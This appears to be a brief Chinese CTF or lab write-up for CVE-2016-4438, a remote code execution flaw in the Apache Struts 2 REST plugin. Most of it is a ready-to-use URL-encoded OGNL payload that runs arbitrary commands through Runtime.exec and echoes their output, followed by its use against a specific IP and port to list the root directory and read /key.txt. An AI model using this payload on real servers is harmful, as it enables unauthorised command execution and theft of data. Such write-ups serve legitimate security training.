漏洞编号:CVE-2016-4438
影响范围:Struts 2.3.20 - Struts Struts 2.3.28.1
漏洞概述:在使用REST插件时,可以传递可用于在服务器端执行任意代码的恶意表达式。
EXP:
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=[命令]
访问 http://219.153.49.228:41238/orders/3/[exp] 执行命令并回显
执行ls /命令
执行命令并回显
执行cat /key.txt命令
获得key
网友评论